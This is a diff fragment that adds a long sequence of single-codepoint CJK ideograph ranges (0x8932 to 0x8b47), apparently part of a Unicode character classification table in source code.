+ [0x8932, 0x8932], /* CJK Ideograph */
+ [0x8933, 0x8933], /* CJK Ideograph */
+ [0x8934, 0x8934], /* CJK Ideograph */
+ [0x8935, 0x8935], /* CJK Ideograph */
+ [0x8936, 0x8936], /* CJK Ideograph */
+ [0x8937, 0x8937], /* CJK Ideograph */
+ [0x8938, 0x8938], /* CJK Ideograph */
+ [0x8939, 0x8939], /* CJK Ideograph */
+ [0x893a, 0x893a], /* CJK Ideograph */
+ [0x893b, 0x893b], /* CJK Ideograph */
+ [0x893c, 0x893c], /* CJK Ideograph */
+ [0x893d, 0x893d], /* CJK Ideograph */
+ [0x893e, 0x893e], /* CJK Ideograph */
+ [0x893f, 0x893f], /* CJK Ideograph */
+ [0x8940, 0x8940], /* CJK Ideograph */
+ [0x8941, 0x8941], /* CJK Ideograph */
+ [0x8942, 0x8942], /* CJK Ideograph */
+ [0x8943, 0x8943], /* CJK Ideograph */
+ [0x8944, 0x8944], /* CJK Ideograph */
+ [0x8945, 0x8945], /* CJK Ideograph */
+ [0x8946, 0x8946], /* CJK Ideograph */
+ [0x8947, 0x8947], /* CJK Ideograph */
+ [0x8948, 0x8948], /* CJK Ideograph */
+ [0x8949, 0x8949], /* CJK Ideograph */
+ [0x894a, 0x894a], /* CJK Ideograph */
+ [0x894b, 0x894b], /* CJK Ideograph */
+ [0x894c, 0x894c], /* CJK Ideograph */
+ [0x894d, 0x894d], /* CJK Ideograph */
+ [0x894e, 0x894e], /* CJK Ideograph */
+ [0x894f, 0x894f], /* CJK Ideograph */
+ [0x8950, 0x8950], /* CJK Ideograph */
+ [0x8951, 0x8951], /* CJK Ideograph */
+ [0x8952, 0x8952], /* CJK Ideograph */
+ [0x8953, 0x8953], /* CJK Ideograph */
+ [0x8954, 0x8954], /* CJK Ideograph */
+ [0x8955, 0x8955], /* CJK Ideograph */
+ [0x8956, 0x8956], /* CJK Ideograph */
+ [0x8957, 0x8957], /* CJK Ideograph */
+ [0x8958, 0x8958], /* CJK Ideograph */
+ [0x8959, 0x8959], /* CJK Ideograph */
+ [0x895a, 0x895a], /* CJK Ideograph */
+ [0x895b, 0x895b], /* CJK Ideograph */
+ [0x895c, 0x895c], /* CJK Ideograph */
+ [0x895d, 0x895d], /* CJK Ideograph */
+ [0x895e, 0x895e], /* CJK Ideograph */
+ [0x895f, 0x895f], /* CJK Ideograph */
+ [0x8960, 0x8960], /* CJK Ideograph */
+ [0x8961, 0x8961], /* CJK Ideograph */
+ [0x8962, 0x8962], /* CJK Ideograph */
+ [0x8963, 0x8963], /* CJK Ideograph */
+ [0x8964, 0x8964], /* CJK Ideograph */
+ [0x8965, 0x8965], /* CJK Ideograph */
+ [0x8966, 0x8966], /* CJK Ideograph */
+ [0x8967, 0x8967], /* CJK Ideograph */
+ [0x8968, 0x8968], /* CJK Ideograph */
+ [0x8969, 0x8969], /* CJK Ideograph */
+ [0x896a, 0x896a], /* CJK Ideograph */
+ [0x896b, 0x896b], /* CJK Ideograph */
+ [0x896c, 0x896c], /* CJK Ideograph */
+ [0x896d, 0x896d], /* CJK Ideograph */
+ [0x896e, 0x896e], /* CJK Ideograph */
+ [0x896f, 0x896f], /* CJK Ideograph */
+ [0x8970, 0x8970], /* CJK Ideograph */
+ [0x8971, 0x8971], /* CJK Ideograph */
+ [0x8972, 0x8972], /* CJK Ideograph */
+ [0x8973, 0x8973], /* CJK Ideograph */
+ [0x8974, 0x8974], /* CJK Ideograph */
+ [0x8975, 0x8975], /* CJK Ideograph */
+ [0x8976, 0x8976], /* CJK Ideograph */
+ [0x8977, 0x8977], /* CJK Ideograph */
+ [0x8978, 0x8978], /* CJK Ideograph */
+ [0x8979, 0x8979], /* CJK Ideograph */
+ [0x897a, 0x897a], /* CJK Ideograph */
+ [0x897b, 0x897b], /* CJK Ideograph */
+ [0x897c, 0x897c], /* CJK Ideograph */
+ [0x897d, 0x897d], /* CJK Ideograph */
+ [0x897e, 0x897e], /* CJK Ideograph */
+ [0x897f, 0x897f], /* CJK Ideograph */
+ [0x8980, 0x8980], /* CJK Ideograph */
+ [0x8981, 0x8981], /* CJK Ideograph */
+ [0x8982, 0x8982], /* CJK Ideograph */
+ [0x8983, 0x8983], /* CJK Ideograph */
+ [0x8984, 0x8984], /* CJK Ideograph */
+ [0x8985, 0x8985], /* CJK Ideograph */
+ [0x8986, 0x8986], /* CJK Ideograph */
+ [0x8987, 0x8987], /* CJK Ideograph */
+ [0x8988, 0x8988], /* CJK Ideograph */
+ [0x8989, 0x8989], /* CJK Ideograph */
+ [0x898a, 0x898a], /* CJK Ideograph */
+ [0x898b, 0x898b], /* CJK Ideograph */
+ [0x898c, 0x898c], /* CJK Ideograph */
+ [0x898d, 0x898d], /* CJK Ideograph */
+ [0x898e, 0x898e], /* CJK Ideograph */
+ [0x898f, 0x898f], /* CJK Ideograph */
+ [0x8990, 0x8990], /* CJK Ideograph */
+ [0x8991, 0x8991], /* CJK Ideograph */
+ [0x8992, 0x8992], /* CJK Ideograph */
+ [0x8993, 0x8993], /* CJK Ideograph */
+ [0x8994, 0x8994], /* CJK Ideograph */
+ [0x8995, 0x8995], /* CJK Ideograph */
+ [0x8996, 0x8996], /* CJK Ideograph */
+ [0x8997, 0x8997], /* CJK Ideograph */
+ [0x8998, 0x8998], /* CJK Ideograph */
+ [0x8999, 0x8999], /* CJK Ideograph */
+ [0x899a, 0x899a], /* CJK Ideograph */
+ [0x899b, 0x899b], /* CJK Ideograph */
+ [0x899c, 0x899c], /* CJK Ideograph */
+ [0x899d, 0x899d], /* CJK Ideograph */
+ [0x899e, 0x899e], /* CJK Ideograph */
+ [0x899f, 0x899f], /* CJK Ideograph */
+ [0x89a0, 0x89a0], /* CJK Ideograph */
+ [0x89a1, 0x89a1], /* CJK Ideograph */
+ [0x89a2, 0x89a2], /* CJK Ideograph */
+ [0x89a3, 0x89a3], /* CJK Ideograph */
+ [0x89a4, 0x89a4], /* CJK Ideograph */
+ [0x89a5, 0x89a5], /* CJK Ideograph */
+ [0x89a6, 0x89a6], /* CJK Ideograph */
+ [0x89a7, 0x89a7], /* CJK Ideograph */
+ [0x89a8, 0x89a8], /* CJK Ideograph */
+ [0x89a9, 0x89a9], /* CJK Ideograph */
+ [0x89aa, 0x89aa], /* CJK Ideograph */
+ [0x89ab, 0x89ab], /* CJK Ideograph */
+ [0x89ac, 0x89ac], /* CJK Ideograph */
+ [0x89ad, 0x89ad], /* CJK Ideograph */
+ [0x89ae, 0x89ae], /* CJK Ideograph */
+ [0x89af, 0x89af], /* CJK Ideograph */
+ [0x89b0, 0x89b0], /* CJK Ideograph */
+ [0x89b1, 0x89b1], /* CJK Ideograph */
+ [0x89b2, 0x89b2], /* CJK Ideograph */
+ [0x89b3, 0x89b3], /* CJK Ideograph */
+ [0x89b4, 0x89b4], /* CJK Ideograph */
+ [0x89b5, 0x89b5], /* CJK Ideograph */
+ [0x89b6, 0x89b6], /* CJK Ideograph */
+ [0x89b7, 0x89b7], /* CJK Ideograph */
+ [0x89b8, 0x89b8], /* CJK Ideograph */
+ [0x89b9, 0x89b9], /* CJK Ideograph */
+ [0x89ba, 0x89ba], /* CJK Ideograph */
+ [0x89bb, 0x89bb], /* CJK Ideograph */
+ [0x89bc, 0x89bc], /* CJK Ideograph */
+ [0x89bd, 0x89bd], /* CJK Ideograph */
+ [0x89be, 0x89be], /* CJK Ideograph */
+ [0x89bf, 0x89bf], /* CJK Ideograph */
+ [0x89c0, 0x89c0], /* CJK Ideograph */
+ [0x89c1, 0x89c1], /* CJK Ideograph */
+ [0x89c2, 0x89c2], /* CJK Ideograph */
+ [0x89c3, 0x89c3], /* CJK Ideograph */
+ [0x89c4, 0x89c4], /* CJK Ideograph */
+ [0x89c5, 0x89c5], /* CJK Ideograph */
+ [0x89c6, 0x89c6], /* CJK Ideograph */
+ [0x89c7, 0x89c7], /* CJK Ideograph */
+ [0x89c8, 0x89c8], /* CJK Ideograph */
+ [0x89c9, 0x89c9], /* CJK Ideograph */
+ [0x89ca, 0x89ca], /* CJK Ideograph */
+ [0x89cb, 0x89cb], /* CJK Ideograph */
+ [0x89cc, 0x89cc], /* CJK Ideograph */
+ [0x89cd, 0x89cd], /* CJK Ideograph */
+ [0x89ce, 0x89ce], /* CJK Ideograph */
+ [0x89cf, 0x89cf], /* CJK Ideograph */
+ [0x89d0, 0x89d0], /* CJK Ideograph */
+ [0x89d1, 0x89d1], /* CJK Ideograph */
+ [0x89d2, 0x89d2], /* CJK Ideograph */
+ [0x89d3, 0x89d3], /* CJK Ideograph */
+ [0x89d4, 0x89d4], /* CJK Ideograph */
+ [0x89d5, 0x89d5], /* CJK Ideograph */
+ [0x89d6, 0x89d6], /* CJK Ideograph */
+ [0x89d7, 0x89d7], /* CJK Ideograph */
+ [0x89d8, 0x89d8], /* CJK Ideograph */
+ [0x89d9, 0x89d9], /* CJK Ideograph */
+ [0x89da, 0x89da], /* CJK Ideograph */
+ [0x89db, 0x89db], /* CJK Ideograph */
+ [0x89dc, 0x89dc], /* CJK Ideograph */
+ [0x89dd, 0x89dd], /* CJK Ideograph */
+ [0x89de, 0x89de], /* CJK Ideograph */
+ [0x89df, 0x89df], /* CJK Ideograph */
+ [0x89e0, 0x89e0], /* CJK Ideograph */
+ [0x89e1, 0x89e1], /* CJK Ideograph */
+ [0x89e2, 0x89e2], /* CJK Ideograph */
+ [0x89e3, 0x89e3], /* CJK Ideograph */
+ [0x89e4, 0x89e4], /* CJK Ideograph */
+ [0x89e5, 0x89e5], /* CJK Ideograph */
+ [0x89e6, 0x89e6], /* CJK Ideograph */
+ [0x89e7, 0x89e7], /* CJK Ideograph */
+ [0x89e8, 0x89e8], /* CJK Ideograph */
+ [0x89e9, 0x89e9], /* CJK Ideograph */
+ [0x89ea, 0x89ea], /* CJK Ideograph */
+ [0x89eb, 0x89eb], /* CJK Ideograph */
+ [0x89ec, 0x89ec], /* CJK Ideograph */
+ [0x89ed, 0x89ed], /* CJK Ideograph */
+ [0x89ee, 0x89ee], /* CJK Ideograph */
+ [0x89ef, 0x89ef], /* CJK Ideograph */
+ [0x89f0, 0x89f0], /* CJK Ideograph */
+ [0x89f1, 0x89f1], /* CJK Ideograph */
+ [0x89f2, 0x89f2], /* CJK Ideograph */
+ [0x89f3, 0x89f3], /* CJK Ideograph */
+ [0x89f4, 0x89f4], /* CJK Ideograph */
+ [0x89f5, 0x89f5], /* CJK Ideograph */
+ [0x89f6, 0x89f6], /* CJK Ideograph */
+ [0x89f7, 0x89f7], /* CJK Ideograph */
+ [0x89f8, 0x89f8], /* CJK Ideograph */
+ [0x89f9, 0x89f9], /* CJK Ideograph */
+ [0x89fa, 0x89fa], /* CJK Ideograph */
+ [0x89fb, 0x89fb], /* CJK Ideograph */
+ [0x89fc, 0x89fc], /* CJK Ideograph */
+ [0x89fd, 0x89fd], /* CJK Ideograph */
+ [0x89fe, 0x89fe], /* CJK Ideograph */
+ [0x89ff, 0x89ff], /* CJK Ideograph */
+ [0x8a00, 0x8a00], /* CJK Ideograph */
+ [0x8a01, 0x8a01], /* CJK Ideograph */
+ [0x8a02, 0x8a02], /* CJK Ideograph */
+ [0x8a03, 0x8a03], /* CJK Ideograph */
+ [0x8a04, 0x8a04], /* CJK Ideograph */
+ [0x8a05, 0x8a05], /* CJK Ideograph */
+ [0x8a06, 0x8a06], /* CJK Ideograph */
+ [0x8a07, 0x8a07], /* CJK Ideograph */
+ [0x8a08, 0x8a08], /* CJK Ideograph */
+ [0x8a09, 0x8a09], /* CJK Ideograph */
+ [0x8a0a, 0x8a0a], /* CJK Ideograph */
+ [0x8a0b, 0x8a0b], /* CJK Ideograph */
+ [0x8a0c, 0x8a0c], /* CJK Ideograph */
+ [0x8a0d, 0x8a0d], /* CJK Ideograph */
+ [0x8a0e, 0x8a0e], /* CJK Ideograph */
+ [0x8a0f, 0x8a0f], /* CJK Ideograph */
+ [0x8a10, 0x8a10], /* CJK Ideograph */
+ [0x8a11, 0x8a11], /* CJK Ideograph */
+ [0x8a12, 0x8a12], /* CJK Ideograph */
+ [0x8a13, 0x8a13], /* CJK Ideograph */
+ [0x8a14, 0x8a14], /* CJK Ideograph */
+ [0x8a15, 0x8a15], /* CJK Ideograph */
+ [0x8a16, 0x8a16], /* CJK Ideograph */
+ [0x8a17, 0x8a17], /* CJK Ideograph */
+ [0x8a18, 0x8a18], /* CJK Ideograph */
+ [0x8a19, 0x8a19], /* CJK Ideograph */
+ [0x8a1a, 0x8a1a], /* CJK Ideograph */
+ [0x8a1b, 0x8a1b], /* CJK Ideograph */
+ [0x8a1c, 0x8a1c], /* CJK Ideograph */
+ [0x8a1d, 0x8a1d], /* CJK Ideograph */
+ [0x8a1e, 0x8a1e], /* CJK Ideograph */
+ [0x8a1f, 0x8a1f], /* CJK Ideograph */
+ [0x8a20, 0x8a20], /* CJK Ideograph */
+ [0x8a21, 0x8a21], /* CJK Ideograph */
+ [0x8a22, 0x8a22], /* CJK Ideograph */
+ [0x8a23, 0x8a23], /* CJK Ideograph */
+ [0x8a24, 0x8a24], /* CJK Ideograph */
+ [0x8a25, 0x8a25], /* CJK Ideograph */
+ [0x8a26, 0x8a26], /* CJK Ideograph */
+ [0x8a27, 0x8a27], /* CJK Ideograph */
+ [0x8a28, 0x8a28], /* CJK Ideograph */
+ [0x8a29, 0x8a29], /* CJK Ideograph */
+ [0x8a2a, 0x8a2a], /* CJK Ideograph */
+ [0x8a2b, 0x8a2b], /* CJK Ideograph */
+ [0x8a2c, 0x8a2c], /* CJK Ideograph */
+ [0x8a2d, 0x8a2d], /* CJK Ideograph */
+ [0x8a2e, 0x8a2e], /* CJK Ideograph */
+ [0x8a2f, 0x8a2f], /* CJK Ideograph */
+ [0x8a30, 0x8a30], /* CJK Ideograph */
+ [0x8a31, 0x8a31], /* CJK Ideograph */
+ [0x8a32, 0x8a32], /* CJK Ideograph */
+ [0x8a33, 0x8a33], /* CJK Ideograph */
+ [0x8a34, 0x8a34], /* CJK Ideograph */
+ [0x8a35, 0x8a35], /* CJK Ideograph */
+ [0x8a36, 0x8a36], /* CJK Ideograph */
+ [0x8a37, 0x8a37], /* CJK Ideograph */
+ [0x8a38, 0x8a38], /* CJK Ideograph */
+ [0x8a39, 0x8a39], /* CJK Ideograph */
+ [0x8a3a, 0x8a3a], /* CJK Ideograph */
+ [0x8a3b, 0x8a3b], /* CJK Ideograph */
+ [0x8a3c, 0x8a3c], /* CJK Ideograph */
+ [0x8a3d, 0x8a3d], /* CJK Ideograph */
+ [0x8a3e, 0x8a3e], /* CJK Ideograph */
+ [0x8a3f, 0x8a3f], /* CJK Ideograph */
+ [0x8a40, 0x8a40], /* CJK Ideograph */
+ [0x8a41, 0x8a41], /* CJK Ideograph */
+ [0x8a42, 0x8a42], /* CJK Ideograph */
+ [0x8a43, 0x8a43], /* CJK Ideograph */
+ [0x8a44, 0x8a44], /* CJK Ideograph */
+ [0x8a45, 0x8a45], /* CJK Ideograph */
+ [0x8a46, 0x8a46], /* CJK Ideograph */
+ [0x8a47, 0x8a47], /* CJK Ideograph */
+ [0x8a48, 0x8a48], /* CJK Ideograph */
+ [0x8a49, 0x8a49], /* CJK Ideograph */
+ [0x8a4a, 0x8a4a], /* CJK Ideograph */
+ [0x8a4b, 0x8a4b], /* CJK Ideograph */
+ [0x8a4c, 0x8a4c], /* CJK Ideograph */
+ [0x8a4d, 0x8a4d], /* CJK Ideograph */
+ [0x8a4e, 0x8a4e], /* CJK Ideograph */
+ [0x8a4f, 0x8a4f], /* CJK Ideograph */
+ [0x8a50, 0x8a50], /* CJK Ideograph */
+ [0x8a51, 0x8a51], /* CJK Ideograph */
+ [0x8a52, 0x8a52], /* CJK Ideograph */
+ [0x8a53, 0x8a53], /* CJK Ideograph */
+ [0x8a54, 0x8a54], /* CJK Ideograph */
+ [0x8a55, 0x8a55], /* CJK Ideograph */
+ [0x8a56, 0x8a56], /* CJK Ideograph */
+ [0x8a57, 0x8a57], /* CJK Ideograph */
+ [0x8a58, 0x8a58], /* CJK Ideograph */
+ [0x8a59, 0x8a59], /* CJK Ideograph */
+ [0x8a5a, 0x8a5a], /* CJK Ideograph */
+ [0x8a5b, 0x8a5b], /* CJK Ideograph */
+ [0x8a5c, 0x8a5c], /* CJK Ideograph */
+ [0x8a5d, 0x8a5d], /* CJK Ideograph */
+ [0x8a5e, 0x8a5e], /* CJK Ideograph */
+ [0x8a5f, 0x8a5f], /* CJK Ideograph */
+ [0x8a60, 0x8a60], /* CJK Ideograph */
+ [0x8a61, 0x8a61], /* CJK Ideograph */
+ [0x8a62, 0x8a62], /* CJK Ideograph */
+ [0x8a63, 0x8a63], /* CJK Ideograph */
+ [0x8a64, 0x8a64], /* CJK Ideograph */
+ [0x8a65, 0x8a65], /* CJK Ideograph */
+ [0x8a66, 0x8a66], /* CJK Ideograph */
+ [0x8a67, 0x8a67], /* CJK Ideograph */
+ [0x8a68, 0x8a68], /* CJK Ideograph */
+ [0x8a69, 0x8a69], /* CJK Ideograph */
+ [0x8a6a, 0x8a6a], /* CJK Ideograph */
+ [0x8a6b, 0x8a6b], /* CJK Ideograph */
+ [0x8a6c, 0x8a6c], /* CJK Ideograph */
+ [0x8a6d, 0x8a6d], /* CJK Ideograph */
+ [0x8a6e, 0x8a6e], /* CJK Ideograph */
+ [0x8a6f, 0x8a6f], /* CJK Ideograph */
+ [0x8a70, 0x8a70], /* CJK Ideograph */
+ [0x8a71, 0x8a71], /* CJK Ideograph */
+ [0x8a72, 0x8a72], /* CJK Ideograph */
+ [0x8a73, 0x8a73], /* CJK Ideograph */
+ [0x8a74, 0x8a74], /* CJK Ideograph */
+ [0x8a75, 0x8a75], /* CJK Ideograph */
+ [0x8a76, 0x8a76], /* CJK Ideograph */
+ [0x8a77, 0x8a77], /* CJK Ideograph */
+ [0x8a78, 0x8a78], /* CJK Ideograph */
+ [0x8a79, 0x8a79], /* CJK Ideograph */
+ [0x8a7a, 0x8a7a], /* CJK Ideograph */
+ [0x8a7b, 0x8a7b], /* CJK Ideograph */
+ [0x8a7c, 0x8a7c], /* CJK Ideograph */
+ [0x8a7d, 0x8a7d], /* CJK Ideograph */
+ [0x8a7e, 0x8a7e], /* CJK Ideograph */
+ [0x8a7f, 0x8a7f], /* CJK Ideograph */
+ [0x8a80, 0x8a80], /* CJK Ideograph */
+ [0x8a81, 0x8a81], /* CJK Ideograph */
+ [0x8a82, 0x8a82], /* CJK Ideograph */
+ [0x8a83, 0x8a83], /* CJK Ideograph */
+ [0x8a84, 0x8a84], /* CJK Ideograph */
+ [0x8a85, 0x8a85], /* CJK Ideograph */
+ [0x8a86, 0x8a86], /* CJK Ideograph */
+ [0x8a87, 0x8a87], /* CJK Ideograph */
+ [0x8a88, 0x8a88], /* CJK Ideograph */
+ [0x8a89, 0x8a89], /* CJK Ideograph */
+ [0x8a8a, 0x8a8a], /* CJK Ideograph */
+ [0x8a8b, 0x8a8b], /* CJK Ideograph */
+ [0x8a8c, 0x8a8c], /* CJK Ideograph */
+ [0x8a8d, 0x8a8d], /* CJK Ideograph */
+ [0x8a8e, 0x8a8e], /* CJK Ideograph */
+ [0x8a8f, 0x8a8f], /* CJK Ideograph */
+ [0x8a90, 0x8a90], /* CJK Ideograph */
+ [0x8a91, 0x8a91], /* CJK Ideograph */
+ [0x8a92, 0x8a92], /* CJK Ideograph */
+ [0x8a93, 0x8a93], /* CJK Ideograph */
+ [0x8a94, 0x8a94], /* CJK Ideograph */
+ [0x8a95, 0x8a95], /* CJK Ideograph */
+ [0x8a96, 0x8a96], /* CJK Ideograph */
+ [0x8a97, 0x8a97], /* CJK Ideograph */
+ [0x8a98, 0x8a98], /* CJK Ideograph */
+ [0x8a99, 0x8a99], /* CJK Ideograph */
+ [0x8a9a, 0x8a9a], /* CJK Ideograph */
+ [0x8a9b, 0x8a9b], /* CJK Ideograph */
+ [0x8a9c, 0x8a9c], /* CJK Ideograph */
+ [0x8a9d, 0x8a9d], /* CJK Ideograph */
+ [0x8a9e, 0x8a9e], /* CJK Ideograph */
+ [0x8a9f, 0x8a9f], /* CJK Ideograph */
+ [0x8aa0, 0x8aa0], /* CJK Ideograph */
+ [0x8aa1, 0x8aa1], /* CJK Ideograph */
+ [0x8aa2, 0x8aa2], /* CJK Ideograph */
+ [0x8aa3, 0x8aa3], /* CJK Ideograph */
+ [0x8aa4, 0x8aa4], /* CJK Ideograph */
+ [0x8aa5, 0x8aa5], /* CJK Ideograph */
+ [0x8aa6, 0x8aa6], /* CJK Ideograph */
+ [0x8aa7, 0x8aa7], /* CJK Ideograph */
+ [0x8aa8, 0x8aa8], /* CJK Ideograph */
+ [0x8aa9, 0x8aa9], /* CJK Ideograph */
+ [0x8aaa, 0x8aaa], /* CJK Ideograph */
+ [0x8aab, 0x8aab], /* CJK Ideograph */
+ [0x8aac, 0x8aac], /* CJK Ideograph */
+ [0x8aad, 0x8aad], /* CJK Ideograph */
+ [0x8aae, 0x8aae], /* CJK Ideograph */
+ [0x8aaf, 0x8aaf], /* CJK Ideograph */
+ [0x8ab0, 0x8ab0], /* CJK Ideograph */
+ [0x8ab1, 0x8ab1], /* CJK Ideograph */
+ [0x8ab2, 0x8ab2], /* CJK Ideograph */
+ [0x8ab3, 0x8ab3], /* CJK Ideograph */
+ [0x8ab4, 0x8ab4], /* CJK Ideograph */
+ [0x8ab5, 0x8ab5], /* CJK Ideograph */
+ [0x8ab6, 0x8ab6], /* CJK Ideograph */
+ [0x8ab7, 0x8ab7], /* CJK Ideograph */
+ [0x8ab8, 0x8ab8], /* CJK Ideograph */
+ [0x8ab9, 0x8ab9], /* CJK Ideograph */
+ [0x8aba, 0x8aba], /* CJK Ideograph */
+ [0x8abb, 0x8abb], /* CJK Ideograph */
+ [0x8abc, 0x8abc], /* CJK Ideograph */
+ [0x8abd, 0x8abd], /* CJK Ideograph */
+ [0x8abe, 0x8abe], /* CJK Ideograph */
+ [0x8abf, 0x8abf], /* CJK Ideograph */
+ [0x8ac0, 0x8ac0], /* CJK Ideograph */
+ [0x8ac1, 0x8ac1], /* CJK Ideograph */
+ [0x8ac2, 0x8ac2], /* CJK Ideograph */
+ [0x8ac3, 0x8ac3], /* CJK Ideograph */
+ [0x8ac4, 0x8ac4], /* CJK Ideograph */
+ [0x8ac5, 0x8ac5], /* CJK Ideograph */
+ [0x8ac6, 0x8ac6], /* CJK Ideograph */
+ [0x8ac7, 0x8ac7], /* CJK Ideograph */
+ [0x8ac8, 0x8ac8], /* CJK Ideograph */
+ [0x8ac9, 0x8ac9], /* CJK Ideograph */
+ [0x8aca, 0x8aca], /* CJK Ideograph */
+ [0x8acb, 0x8acb], /* CJK Ideograph */
+ [0x8acc, 0x8acc], /* CJK Ideograph */
+ [0x8acd, 0x8acd], /* CJK Ideograph */
+ [0x8ace, 0x8ace], /* CJK Ideograph */
+ [0x8acf, 0x8acf], /* CJK Ideograph */
+ [0x8ad0, 0x8ad0], /* CJK Ideograph */
+ [0x8ad1, 0x8ad1], /* CJK Ideograph */
+ [0x8ad2, 0x8ad2], /* CJK Ideograph */
+ [0x8ad3, 0x8ad3], /* CJK Ideograph */
+ [0x8ad4, 0x8ad4], /* CJK Ideograph */
+ [0x8ad5, 0x8ad5], /* CJK Ideograph */
+ [0x8ad6, 0x8ad6], /* CJK Ideograph */
+ [0x8ad7, 0x8ad7], /* CJK Ideograph */
+ [0x8ad8, 0x8ad8], /* CJK Ideograph */
+ [0x8ad9, 0x8ad9], /* CJK Ideograph */
+ [0x8ada, 0x8ada], /* CJK Ideograph */
+ [0x8adb, 0x8adb], /* CJK Ideograph */
+ [0x8adc, 0x8adc], /* CJK Ideograph */
+ [0x8add, 0x8add], /* CJK Ideograph */
+ [0x8ade, 0x8ade], /* CJK Ideograph */
+ [0x8adf, 0x8adf], /* CJK Ideograph */
+ [0x8ae0, 0x8ae0], /* CJK Ideograph */
+ [0x8ae1, 0x8ae1], /* CJK Ideograph */
+ [0x8ae2, 0x8ae2], /* CJK Ideograph */
+ [0x8ae3, 0x8ae3], /* CJK Ideograph */
+ [0x8ae4, 0x8ae4], /* CJK Ideograph */
+ [0x8ae5, 0x8ae5], /* CJK Ideograph */
+ [0x8ae6, 0x8ae6], /* CJK Ideograph */
+ [0x8ae7, 0x8ae7], /* CJK Ideograph */
+ [0x8ae8, 0x8ae8], /* CJK Ideograph */
+ [0x8ae9, 0x8ae9], /* CJK Ideograph */
+ [0x8aea, 0x8aea], /* CJK Ideograph */
+ [0x8aeb, 0x8aeb], /* CJK Ideograph */
+ [0x8aec, 0x8aec], /* CJK Ideograph */
+ [0x8aed, 0x8aed], /* CJK Ideograph */
+ [0x8aee, 0x8aee], /* CJK Ideograph */
+ [0x8aef, 0x8aef], /* CJK Ideograph */
+ [0x8af0, 0x8af0], /* CJK Ideograph */
+ [0x8af1, 0x8af1], /* CJK Ideograph */
+ [0x8af2, 0x8af2], /* CJK Ideograph */
+ [0x8af3, 0x8af3], /* CJK Ideograph */
+ [0x8af4, 0x8af4], /* CJK Ideograph */
+ [0x8af5, 0x8af5], /* CJK Ideograph */
+ [0x8af6, 0x8af6], /* CJK Ideograph */
+ [0x8af7, 0x8af7], /* CJK Ideograph */
+ [0x8af8, 0x8af8], /* CJK Ideograph */
+ [0x8af9, 0x8af9], /* CJK Ideograph */
+ [0x8afa, 0x8afa], /* CJK Ideograph */
+ [0x8afb, 0x8afb], /* CJK Ideograph */
+ [0x8afc, 0x8afc], /* CJK Ideograph */
+ [0x8afd, 0x8afd], /* CJK Ideograph */
+ [0x8afe, 0x8afe], /* CJK Ideograph */
+ [0x8aff, 0x8aff], /* CJK Ideograph */
+ [0x8b00, 0x8b00], /* CJK Ideograph */
+ [0x8b01, 0x8b01], /* CJK Ideograph */
+ [0x8b02, 0x8b02], /* CJK Ideograph */
+ [0x8b03, 0x8b03], /* CJK Ideograph */
+ [0x8b04, 0x8b04], /* CJK Ideograph */
+ [0x8b05, 0x8b05], /* CJK Ideograph */
+ [0x8b06, 0x8b06], /* CJK Ideograph */
+ [0x8b07, 0x8b07], /* CJK Ideograph */
+ [0x8b08, 0x8b08], /* CJK Ideograph */
+ [0x8b09, 0x8b09], /* CJK Ideograph */
+ [0x8b0a, 0x8b0a], /* CJK Ideograph */
+ [0x8b0b, 0x8b0b], /* CJK Ideograph */
+ [0x8b0c, 0x8b0c], /* CJK Ideograph */
+ [0x8b0d, 0x8b0d], /* CJK Ideograph */
+ [0x8b0e, 0x8b0e], /* CJK Ideograph */
+ [0x8b0f, 0x8b0f], /* CJK Ideograph */
+ [0x8b10, 0x8b10], /* CJK Ideograph */
+ [0x8b11, 0x8b11], /* CJK Ideograph */
+ [0x8b12, 0x8b12], /* CJK Ideograph */
+ [0x8b13, 0x8b13], /* CJK Ideograph */
+ [0x8b14, 0x8b14], /* CJK Ideograph */
+ [0x8b15, 0x8b15], /* CJK Ideograph */
+ [0x8b16, 0x8b16], /* CJK Ideograph */
+ [0x8b17, 0x8b17], /* CJK Ideograph */
+ [0x8b18, 0x8b18], /* CJK Ideograph */
+ [0x8b19, 0x8b19], /* CJK Ideograph */
+ [0x8b1a, 0x8b1a], /* CJK Ideograph */
+ [0x8b1b, 0x8b1b], /* CJK Ideograph */
+ [0x8b1c, 0x8b1c], /* CJK Ideograph */
+ [0x8b1d, 0x8b1d], /* CJK Ideograph */
+ [0x8b1e, 0x8b1e], /* CJK Ideograph */
+ [0x8b1f, 0x8b1f], /* CJK Ideograph */
+ [0x8b20, 0x8b20], /* CJK Ideograph */
+ [0x8b21, 0x8b21], /* CJK Ideograph */
+ [0x8b22, 0x8b22], /* CJK Ideograph */
+ [0x8b23, 0x8b23], /* CJK Ideograph */
+ [0x8b24, 0x8b24], /* CJK Ideograph */
+ [0x8b25, 0x8b25], /* CJK Ideograph */
+ [0x8b26, 0x8b26], /* CJK Ideograph */
+ [0x8b27, 0x8b27], /* CJK Ideograph */
+ [0x8b28, 0x8b28], /* CJK Ideograph */
+ [0x8b29, 0x8b29], /* CJK Ideograph */
+ [0x8b2a, 0x8b2a], /* CJK Ideograph */
+ [0x8b2b, 0x8b2b], /* CJK Ideograph */
+ [0x8b2c, 0x8b2c], /* CJK Ideograph */
+ [0x8b2d, 0x8b2d], /* CJK Ideograph */
+ [0x8b2e, 0x8b2e], /* CJK Ideograph */
+ [0x8b2f, 0x8b2f], /* CJK Ideograph */
+ [0x8b30, 0x8b30], /* CJK Ideograph */
+ [0x8b31, 0x8b31], /* CJK Ideograph */
+ [0x8b32, 0x8b32], /* CJK Ideograph */
+ [0x8b33, 0x8b33], /* CJK Ideograph */
+ [0x8b34, 0x8b34], /* CJK Ideograph */
+ [0x8b35, 0x8b35], /* CJK Ideograph */
+ [0x8b36, 0x8b36], /* CJK Ideograph */
+ [0x8b37, 0x8b37], /* CJK Ideograph */
+ [0x8b38, 0x8b38], /* CJK Ideograph */
+ [0x8b39, 0x8b39], /* CJK Ideograph */
+ [0x8b3a, 0x8b3a], /* CJK Ideograph */
+ [0x8b3b, 0x8b3b], /* CJK Ideograph */
+ [0x8b3c, 0x8b3c], /* CJK Ideograph */
+ [0x8b3d, 0x8b3d], /* CJK Ideograph */
+ [0x8b3e, 0x8b3e], /* CJK Ideograph */
+ [0x8b3f, 0x8b3f], /* CJK Ideograph */
+ [0x8b40, 0x8b40], /* CJK Ideograph */
+ [0x8b41, 0x8b41], /* CJK Ideograph */
+ [0x8b42, 0x8b42], /* CJK Ideograph */
+ [0x8b43, 0x8b43], /* CJK Ideograph */
+ [0x8b44, 0x8b44], /* CJK Ideograph */
+ [0x8b45, 0x8b45], /* CJK Ideograph */
+ [0x8b46, 0x8b46], /* CJK Ideograph */
+ [0x8b47, 0x8b47], /* CJK Ideograph */
